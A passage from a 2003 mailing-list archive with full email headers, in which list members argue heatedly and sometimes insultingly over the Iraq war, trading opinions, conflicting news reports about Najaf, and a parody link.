joyfully embrace their liberators, remember those who >acted to keep them enslaved. The U.S. cannot begin to free more than a tiny fraction of the enslaved people in the world. They cannot be freed by military means, or by some magic domino effect. We can do nothing for Chinese, the North Koreans, or the two billion people enslaved by dire poverty, starvation, ignorance and superstition. There are not enough bombs, soldiers and dollars in the U.S. or anywhere else to free them. It can only be done by gradual, peaceful means: with education, clean water, access to capital for individuals, cheap energy and other enabling technology. These tools will gradually overcome the most merciless tyrants and inhuman social systems. That is what happened in Europe over the centuries after the Roman Empire fell, and in the Soviet Union in the 20th century. As much as I hope we will free the Iraqi people, I fear we are mainly there to ensure low oil prices. As Bush said, this is a strategically important place. We would not think of invading any other third world hell-hole controlled by maniacs & tyrants, because the others have no oil. Actually, I doubt the U.S. plans to free anyone in Iraq. "Regime change" is a cynical phrase that means what it says: we will impose a docile new dictator who will do our bidding, and keep oil prices low. We have done nothing to encourage democracy in Afghanistan as far as I know. Women are still imprisoned or killed for adultery. Voting is unheard of. We have merely put a different set of warlords are in charge. They will pretend to support us as long as we pay them off. We supposedly freed Kuwait in the first Gulf war, but there have been no elections there, and in a recent public opinion poll, 70% of Kuwaiti respondents said they think Bin Laden is a "hero." Most Kuwaitis and Iraqi people say that if a free election were held, they would vote for a radical Islamic government. That is the last thing the U.S. government wants. The U.S. will never allow that while Iraq is occupied, and nothing will prevent it once we leave. - Jed From vortexb-l-request@eskimo.com Wed Apr 2 14:25:18 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id OAA25413; Wed, 2 Apr 2003 14:20:09 -0800 Resent-Date: Wed, 2 Apr 2003 14:20:09 -0800 Message-ID: <015c01c2f966$72c9bf80$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> <5.2.0.9.2.20030402150235.00a9f398@pop.mindspring.com> <5.2.0.9.2.20030402160118.00a9f398@pop.mindspring.com> Subject: Re: A war game web site Date: Wed, 2 Apr 2003 17:17:36 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"2bEft2.0.vC6.P8sY-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1582 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 60 I repeat: | I only have ONE thing to say on this list about the current conflict: | | BOOM - You're dead. Better luck next lifetime. Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Jed Rothwell" To: ; Sent: Wednesday, April 02, 2003 5:01 PM Subject: Re: A war game web site | Dave N. wrote: | | >BTW you don't fall into the category of the vast majority of 'anti-war' | >protesters . . . | | Approximately 60 to 80% of the human race opposes this war, so I do not | think you can categorize this group in any meaningful way. The sample is | too large to fit any demographic age group, social class, voter group, | nationality or other category. | | | >if in fact you are one ; ) . | | I oppose the war for the reasons I stated a few weeks ago: I personally | would not be willing to risk my own life to free the Iraqi people from | tyranny. Therefore, I could not, in good conscience, ask any other American | to risk his or her life for this cause. The lives of our soldiers & other | citizens are a precious to me as my own, or my children's. Our soldiers are | not mercenaries or gladiators. In a democratic society at war, everyone | should be willing -- at least in principle -- to share all risks and | sacrifices. | | I grant there are valid, moral reasons to fight, and some degree of risk to | the U.S. if we do not fight, but the reasons and risks are no so great that | I myself would be willing to risk death or serious wounds. If I were Iraqi, | I would certainly be willing to fight for this cause. | | | >When the oppressed joyfully embrace their liberators, remember those who | >acted to keep them enslaved. | | The U.S. cannot begin to free more than a tiny fraction of the enslaved | people in the world. They cannot be freed by military means, or by some | magic domino effect. We can do nothing for Chinese, the North Koreans, or | the two billion people enslaved by dire poverty, starvation, ignorance and | superstition. There are not enough bombs, soldiers and dollars in the U.S. | or anywhere else to free them. It can only be done by gradual, peaceful | means: with education, clean water, access to capital for individuals, | cheap energy and other enabling technology. These tools will gradually | overcome the most merciless tyrants and inhuman social systems. That is | what happened in Europe over the centuries after the Roman Empire fell, and | in the Soviet Union in the 20th century. | | As much as I hope we will free the Iraqi people, I fear we are mainly there | to ensure low oil prices. As Bush said, this is a strategically important | place. We would not think of invading any other third world hell-hole | controlled by maniacs & tyrants, because the others have no oil. | | Actually, I doubt the U.S. plans to free anyone in Iraq. "Regime change" is | a cynical phrase that means what it says: we will impose a docile new | dictator who will do our bidding, and keep oil prices low. | | We have done nothing to encourage democracy in Afghanistan as far as I | know. Women are still imprisoned or killed for adultery. Voting is unheard | of. We have merely put a different set of warlords are in charge. They will | pretend to support us as long as we pay them off. We supposedly freed | Kuwait in the first Gulf war, but there have been no elections there, and | in a recent public opinion poll, 70% of Kuwaiti respondents said they think | Bin Laden is a "hero." Most Kuwaitis and Iraqi people say that if a free | election were held, they would vote for a radical Islamic government. That | is the last thing the U.S. government wants. The U.S. will never allow that | while Iraq is occupied, and nothing will prevent it once we leave. | | - Jed | | From vortexb-l-request@eskimo.com Wed Apr 2 15:12:34 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id PAA20478; Wed, 2 Apr 2003 15:08:37 -0800 Resent-Date: Wed, 2 Apr 2003 15:08:37 -0800 Message-Id: <5.2.0.9.2.20030402173843.026d4a38@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Wed, 02 Apr 2003 18:08:18 -0500 To: vortexb-l@eskimo.com, From: Jed Rothwell Subject: Re: A war game web site In-Reply-To: <015c01c2f966$72c9bf80$1202a8c0@WorkGroup> References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> <5.2.0.9.2.20030402150235.00a9f398@pop.mindspring.com> <5.2.0.9.2.20030402160118.00a9f398@pop.mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"_Z7_31.0.v_4.rrsY-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1583 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 61 Dave N. wrote: >I repeat: > >| I only have ONE thing to say on this list about the current conflict: >| >| BOOM - You're dead. Better luck next lifetime. An astute analysis! You should join the administration. Please explain how -- or in what sense -- have we triumphed with this "BOOM!" methodology, when 70% of the people we "liberated" in Kuwait are in favor of flying airplanes into our buildings and killing thousands of innocent U.S. civilians. If this is victory, what would you call defeat? One or two more victories like that will destroy us, as King Pyrrhus said in a similar context. Recent U.S. and Israeli "victories" in the Mideast have been unmitigated disasters, like the Allied victory in 1918, or the Japanese campaigns in China in the early 1930s. The demands imposed on Germany in the treaty led inevitably to a larger war. As far as the German General Staff was concerned, there never was peace. When France fell in 1940 they said "the 26-year war" has finally ended in victory. In the past, societies have sometimes fought wars for decades. In the U.S. south, a brutal, low-level, terrorist race war dragged on from 1860 to 1965, killing thousands of people. It would flare up periodically into a shooting war, with cities and towns destroyed. It caused the largest mass migration in history -- millions of people were uprooted, pushed off their land, and driven north. Is this what we want for ourselves and our children? Another cold war. Another Hundred Years War. Another Northern Ireland, or Israeli occupied territories. We are drifting to a situation like Orwell's "1984," with an endless shifting undefined set of reasons to fight, and a faceless crowd of enemies that change overnight into allies and then into enemies again, like the Kuwaitis. War without moral purpose, without realistic goals, without beginning or end. Is this really the best, most creative response we can make to radical Islam, and to others who hate and fear us? Is this the only means we can think of to ensure "homeland security" and to free other people? We can never free more than a tiny fraction of oppressed people by war. Three billion people live in slavery or in such dire poverty they would be better off under Hussein or Stalin. Most would fight an invader as vigorously as the Germans, Russians and Japanese did when they were enslaved in the 1940s. Before we can rescue a hundred million by brute force, terrorists and war would destroy the U.S. - Jed From vortexb-l-request@eskimo.com Wed Apr 2 15:51:35 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id PAA17991; Wed, 2 Apr 2003 15:49:01 -0800 Resent-Date: Wed, 2 Apr 2003 15:49:01 -0800 Message-ID: <3E8B76B8.60506@ghiocel.com> Date: Wed, 02 Apr 2003 15:48:08 -0800 From: Dan Ghiocel Reply-To: dan@ghiocel.com User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 X-Accept-Language: en-us, en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: post on war Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <"00Skk3.0.eO4.hRtY-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1584 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 62 Jed, Good post and great analysis! But also you have to realize that are people out there living only in the present, not in long term perspective, not in a historical reality. So it is not very effective to try to address the issue from this point of view. Right now, it is a sense of euforia :" We have bombs, we can bomb anybody anytime! " "Long term effects?, who cares, we are bombing!". I just read in the news that lately there were about 700 missile send at a cost of $1million each. Oh, we need more money, we going to print more or borrow, no big deal! Of course all these things in the pro-war minds are not suppose to affect the life in US. Dan G. From vortexb-l-request@eskimo.com Wed Apr 2 19:18:43 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id TAA06349; Wed, 2 Apr 2003 19:15:37 -0800 Resent-Date: Wed, 2 Apr 2003 19:15:37 -0800 Message-ID: <001e01c2f98e$fab78a80$af0e2b42@compaq> From: "Eddie X" To: References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> <5.2.0.9.2.20030402150235.00a9f398@pop.mindspring.com> <00ec01c2f955$ecf34ee0$1202a8c0@WorkGroup> Subject: Re: A war game web site Date: Wed, 2 Apr 2003 19:13:11 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Resent-Message-ID: <"mF9ia2.0.8Z1.PTwY-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1585 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 63 i see nothing wrong in protesting a war that is not necessary. This Iraq thing is mostly, if not totally, over oil and political. People are being killed and injured over there because our stupid usa gov, big corporations will not exploit alternative ways of producing energy like hydrogen from water, natural gas, zpe, etc. The son's and daughters of alot of americans are over there dying, getting seriousely injured, captured because of this. Ed x ----- Original Message ----- From: "Dave N." To: Sent: Wednesday, April 02, 2003 12:21 PM Subject: Re: A war game web site > Jed, > > Well, absolutely nothing was happening until you posted. I think it was a couple of weeks! BTW > you don't fall into the category of the vast majority of 'anti-war' protesters if in fact you > are one ; ) . > > I'm surprised you got unsubscribed from this list. I thought it was a free for all..? > > Best, > > Dave > > > When the oppressed joyfully embrace their liberators, remember those who acted to keep them > enslaved. > > > ----- Original Message ----- > From: "Jed Rothwell" > To: ; > Sent: Wednesday, April 02, 2003 3:05 PM > Subject: Re: A war game web site > > > | Dave N. wrote: > | > | >Well well well... FINALLY, someone posts to this list. Isn't this > | >interesting - those that were posting off topic political messages to the > | >other Vortex list were forced to post them here . . . > | > | Not forced at all. I just thought it would be a good idea. > | > | I was unsubscribed so I do not know what, if anything, has been happening here. > | > | - Jed > | > | > > > From vortexb-l-request@eskimo.com Wed Apr 2 19:39:50 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id TAA16709; Wed, 2 Apr 2003 19:37:00 -0800 Resent-Date: Wed, 2 Apr 2003 19:37:00 -0800 Message-ID: <3E8BAC0F.5060902@ghiocel.com> Date: Wed, 02 Apr 2003 19:35:43 -0800 From: Dan Ghiocel Reply-To: dan@ghiocel.com User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 X-Accept-Language: en-us, en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: war Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <"C9-F11.0.z44.RnwY-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1586 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 64 The most difficult part is how to tell somebody that has friends or relatives in the war. that the war is "unnecessary" and "fabricated" It is a tremendous burden to think that your family member or friend might die for nothing, even if it is true. From vortexb-l-request@eskimo.com Wed Apr 2 23:01:06 2003 Received: (from smartlst@localhost) by mx2.eskimo.com (8.9.1a/8.8.8) id WAA18521; Wed, 2 Apr 2003 22:56:34 -0800 (PST) Resent-Date: Wed, 2 Apr 2003 22:56:34 -0800 (PST) Message-ID: <009e01c2f9ae$83304680$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> <5.2.0.9.2.20030402150235.00a9f398@pop.mindspring.com> <5.2.0.9.2.20030402160118.00a9f398@pop.mindspring.com> <5.2.0.9.2.20030402173843.026d4a38@pop.mindspring.com> Subject: Re: A war game web site Date: Thu, 3 Apr 2003 01:51:24 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"DzIVl.0.IX4.QizY-"@mx2> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1587 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 65 Jed, What part of: | >| I only have ONE thing to say on this list about the current conflict: Didn't you understand? ; ) Best, Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Jed Rothwell" To: ; Sent: Wednesday, April 02, 2003 6:08 PM Subject: Re: A war game web site | Dave N. wrote: | | >I repeat: | > | >| I only have ONE thing to say on this list about the current conflict: | >| | >| BOOM - You're dead. Better luck next lifetime. | | An astute analysis! You should join the administration. | | Please explain how -- or in what sense -- have we triumphed with this | "BOOM!" methodology, when 70% of the people we "liberated" in Kuwait are in | favor of flying airplanes into our buildings and killing thousands of | innocent U.S. civilians. If this is victory, what would you call defeat? | One or two more victories like that will destroy us, as King Pyrrhus said | in a similar context. | | Recent U.S. and Israeli "victories" in the Mideast have been unmitigated | disasters, like the Allied victory in 1918, or the Japanese campaigns in | China in the early 1930s. The demands imposed on Germany in the treaty led | inevitably to a larger war. As far as the German General Staff was | concerned, there never was peace. When France fell in 1940 they said "the | 26-year war" has finally ended in victory. | | In the past, societies have sometimes fought wars for decades. In the U.S. | south, a brutal, low-level, terrorist race war dragged on from 1860 to | 1965, killing thousands of people. It would flare up periodically into a | shooting war, with cities and towns destroyed. It caused the largest mass | migration in history -- millions of people were uprooted, pushed off their | land, and driven north. Is this what we want for ourselves and our | children? Another cold war. Another Hundred Years War. Another Northern | Ireland, or Israeli occupied territories. We are drifting to a situation | like Orwell's "1984," with an endless shifting undefined set of reasons to | fight, and a faceless crowd of enemies that change overnight into allies | and then into enemies again, like the Kuwaitis. War without moral purpose, | without realistic goals, without beginning or end. Is this really the best, | most creative response we can make to radical Islam, and to others who hate | and fear us? Is this the only means we can think of to ensure "homeland | security" and to free other people? We can never free more than a tiny | fraction of oppressed people by war. Three billion people live in slavery | or in such dire poverty they would be better off under Hussein or Stalin. | Most would fight an invader as vigorously as the Germans, Russians and | Japanese did when they were enslaved in the 1940s. Before we can rescue a | hundred million by brute force, terrorists and war would destroy the U.S. | | - Jed | | From vortexb-l-request@eskimo.com Wed Apr 2 23:44:37 2003 Received: (from smartlst@localhost) by mx2.eskimo.com (8.9.1a/8.8.8) id XAA26394; Wed, 2 Apr 2003 23:41:23 -0800 (PST) Resent-Date: Wed, 2 Apr 2003 23:41:23 -0800 (PST) X-Originating-IP: [62.103.119.211] X-Originating-Email: [trelos_epistimonas@hotmail.com] From: "GKK" To: References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> <00d001c2f951$765bf380$1202a8c0@WorkGroup> Subject: Re: A war game web site Date: Thu, 3 Apr 2003 10:38:45 +0300 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Message-ID: X-OriginalArrivalTime: 03 Apr 2003 07:39:31.0811 (UTC) FILETIME=[2A40BB30:01C2F9B4] Resent-Message-ID: <"IGxuc3.0.6S6.RM-Y-"@mx2> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1588 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 66 >Evidentially the vast majority of 'anti-war' types out there aren't interested in 'informing' you unless they can also ram it down your throat. What a bunch of dictatorial fascist bastards! I tried to inform you but you acted like an idiot you are. As you said, my native language isn't English. Therefore it is to tiring for me to try giving explanations to an idiot that the only thing he wants is to swear. It is fine with me but I won't waste my time any more. >Thank God you people are well in the minority! Are you sure? Look again. PLEASE!!! Don't watch CNN for the truth or information. They don't know those words. Unfortunately I can't help you with that. You have to watch every single channel to learn every aspect of this war. Unfortunately it is the half work you must do. The other half is to read between the lines. Yes, I know. Too much work for an idiot like you. Sorry.. There is one more link http://koutouki.axonnet.gr/iraq/iraq_xxx_2003.html Have fun. From vortexb-l-request@eskimo.com Thu Apr 3 00:18:49 2003 Received: (from smartlst@localhost) by mx2.eskimo.com (8.9.1a/8.8.8) id AAA02841; Thu, 3 Apr 2003 00:15:59 -0800 (PST) Resent-Date: Thu, 3 Apr 2003 00:15:59 -0800 (PST) Message-ID: <3E8BED6C.8010606@ghiocel.com> Date: Thu, 03 Apr 2003 00:14:36 -0800 From: Dan Ghiocel Reply-To: dan@ghiocel.com User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 X-Accept-Language: en-us, en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: A war game web site References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> <00d001c2f951$765bf380$1202a8c0@WorkGroup> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <"djbGt3.0.Ai.ws-Y-"@mx2> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1589 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 67 Interesting and amusing link! I visited it http://koutouki.axonnet.gr/iraq/iraq_xxx_2003.html From vortexb-l-request@eskimo.com Thu Apr 3 08:52:12 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA18809; Thu, 3 Apr 2003 08:47:05 -0800 Resent-Date: Thu, 3 Apr 2003 08:47:05 -0800 Message-ID: <005901c2fa01$1051c1e0$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> <00d001c2f951$765bf380$1202a8c0@WorkGroup> Subject: Re: A war game web site Date: Thu, 3 Apr 2003 11:39:49 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"PX8iR.0.hb4.9M6Z-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1590 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 68 Trelos! | >Evidentially the vast majority of 'anti-war' types out there aren't | interested in 'informing' you unless they can also ram it down your throat. | What a bunch of dictatorial fascist bastards! | | I tried to inform you but you acted like an idiot you are. No, you presented an assortment of unreferenced, unverifiable and wholly unsubstanciated bullshit. I've suggested if you want me to take your arguments seriously that you need to insert a few links. Evidently those links don't exist, or you're simply too lazy. | As you said, my native language isn't English. Therefore it is to tiring for | me to try giving explanations to an idiot that the only thing he wants is to | swear. | | It is fine with me but I won't waste my time any more. | | >Thank God you people are well in the minority! | | Are you sure? | In this country you are, and for my purposes that's all that matters. | Don't watch CNN for the truth or information. They don't know those words. Pray tell, what should I watch?!? Al-Jazeria?!?!? | Unfortunately I can't help you with that. | | You have to watch every single channel to learn every aspect of this war. I watch Fox, CNN and MSNBC, I listen to NPR, ABC and WOR and I read Reuters, the LA Times, the NY Times and Debka. I can do this because I have news on 10 hours a day and I speed read. | Unfortunately it is the half work you must do. | | The other half is to read between the lines. Oh, you mean decide it means something other than what the author wrote?!?! | Yes, I know. | | Too much work for an idiot like you. At least this 'idiot' can bother to do a search on Google and find major news sources to back up his opinions, unlike some other lazy fucking paranoid communist morons I know. | There is one more link OH GOOD!!!! | http://koutouki.axonnet.gr/iraq/iraq_xxx_2003.html Oh crap, I thought that would be NEWS!!! Instead it's just more PROPAGANDA!!!! Thanks for proving my point! Dave Narby From vortexb-l-request@eskimo.com Thu Apr 3 12:00:01 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id LAA31071; Thu, 3 Apr 2003 11:56:05 -0800 Resent-Date: Thu, 3 Apr 2003 11:56:05 -0800 Message-ID: <01e801c2fa1b$78e91f40$1202a8c0@WorkGroup> From: "Dave N." To: References: <3E8BAC0F.5060902@ghiocel.com> Subject: Najaf celebrates arrival of US troops "IT WAS LIKE THE LIBERATION OF PARIS" Date: Thu, 3 Apr 2003 14:41:13 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"5ytpD2.0.Qb7.K79Z-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1591 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 69 Najaf celebrates arrival of US troops By Rick Atkinson, Washington Post, 4/3/2003 NAJAF, Iraq -- An enthusiastic welcome for US forces in Najaf turned jubilant yesterday, as several thousand Iraqis braved sporadic firefights for what one special forces officer described as ''the Macy's Day parade,'' applauding a US patrol that pushed close to a religious shrine at the center of the city. Full story: http://www.boston.com/dailyglobe2/093/nation/Najaf_celebrates_arrivel_of_US_troops+.shtml Hope you all enjoyed that, I sure did! Dave Narby When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. From vortexb-l-request@eskimo.com Thu Apr 3 13:01:34 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id MAA06404; Thu, 3 Apr 2003 12:58:12 -0800 Resent-Date: Thu, 3 Apr 2003 12:58:12 -0800 Message-ID: <3E8CA042.9010809@ghiocel.com> Date: Thu, 03 Apr 2003 12:57:38 -0800 From: Dan Ghiocel Reply-To: dan@ghiocel.com User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 X-Accept-Language: en-us, en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: iraqi war parody Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <"jJ4vc.0.jZ1.Z1AZ-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1592 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 70 http://koutouki.axonnet.gr/iraq/iraq_xxx_2003.html Good parody. Sure it is nothing funny about that war, but I guess we have to preserve our sense of humour Dan G. From vortexb-l-request@eskimo.com Thu Apr 3 14:57:59 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id OAA08629; Thu, 3 Apr 2003 14:55:52 -0800 Resent-Date: Thu, 3 Apr 2003 14:55:52 -0800 Message-Id: <5.2.0.9.2.20030403175148.02690178@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Thu, 03 Apr 2003 17:56:11 -0500 To: vortexb-l@eskimo.com, From: Jed Rothwell Subject: Re: Najaf celebrates arrival of US troops OR angry Najif crowds attack U.S. troops In-Reply-To: <01e801c2fa1b$78e91f40$1202a8c0@WorkGroup> References: <3E8BAC0F.5060902@ghiocel.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"_7IxD2.0.m62.tlBZ-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1593 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 71 Dave N. quotes the Washington Post: >Najaf celebrates arrival of US troops > >By Rick Atkinson, Washington Post, 4/3/2003 > >NAJAF, Iraq -- An enthusiastic welcome for US forces in Najaf turned >jubilant yesterday, as several thousand Iraqis braved sporadic firefights >for what one special forces officer described as ''the Macy's Day >parade,'' applauding a US patrol that pushed close to a religious shrine >at the center of the city. The New York Times reports just the opposite: http://www.nytimes.com/2003/04/03/international/worldspecial/03CND-ATTACK.html?pagewanted=2 . . . But news of the fatwa was mitigated by television images from Najaf showing United States troops retreating before a crowd of angry residents. The crowd blocked the passage of troops toward the gold-domed Ali Mosque, which is revered by Shiites and contains the tomb of Imam Ali bin Abi Talib, the cousin and son-in-law of the Prophet Muhammad. "City, yes! Ali Mosque, no!" one resident yelled. This is called "the fog of war." History books present events as a unified story, but in reality no one really knows what happened, and there are as many different stories as participants. In this case, I expect few U.S. reporters understood what the crowds were saying. Note that the N.Y. Times guy does appear to speak Arabic. - Jed From vortexb-l-request@eskimo.com Thu Apr 3 15:31:49 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id PAA30253; Thu, 3 Apr 2003 15:28:16 -0800 Resent-Date: Thu, 3 Apr 2003 15:28:16 -0800 Message-ID: <3E8CC36C.4010901@ghiocel.com> Date: Thu, 03 Apr 2003 15:27:40 -0800 From: Dan Ghiocel Reply-To: dan@ghiocel.com User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 X-Accept-Language: en-us, en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: war Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <"EMH7m3.0.ZO7.EECZ-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1594 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 72 Jed, I thought that there is no surprise that the commanders in the war and the war supporters want to see the situation through rose-colored glasses. The whole thing is an example of doublespeak. It is unfortunate that US ends up in this role like in the WWII when it decided to " free and Democratise" the European countries by bringing them the communist terror. Sure, nothing new in liberating Iraq and Afganistan. I heard Afganistan is thriving now : their drug producing harvest is being restored. Dan G. From vortexb-l-request@eskimo.com Thu Apr 3 16:03:43 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id PAA14193; Thu, 3 Apr 2003 15:57:59 -0800 Resent-Date: Thu, 3 Apr 2003 15:57:59 -0800 Message-ID: <02ae01c2fa3d$3931a8a0$1202a8c0@WorkGroup> From: "Dave N." To: References: <3E8BAC0F.5060902@ghiocel.com> <5.2.0.9.2.20030403175148.02690178@pop.mindspring.com> Subject: Re: Najaf celebrates arrival of US troops OR angry Najif crowds attack U.S. troops Date: Thu, 3 Apr 2003 19:00:10 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE 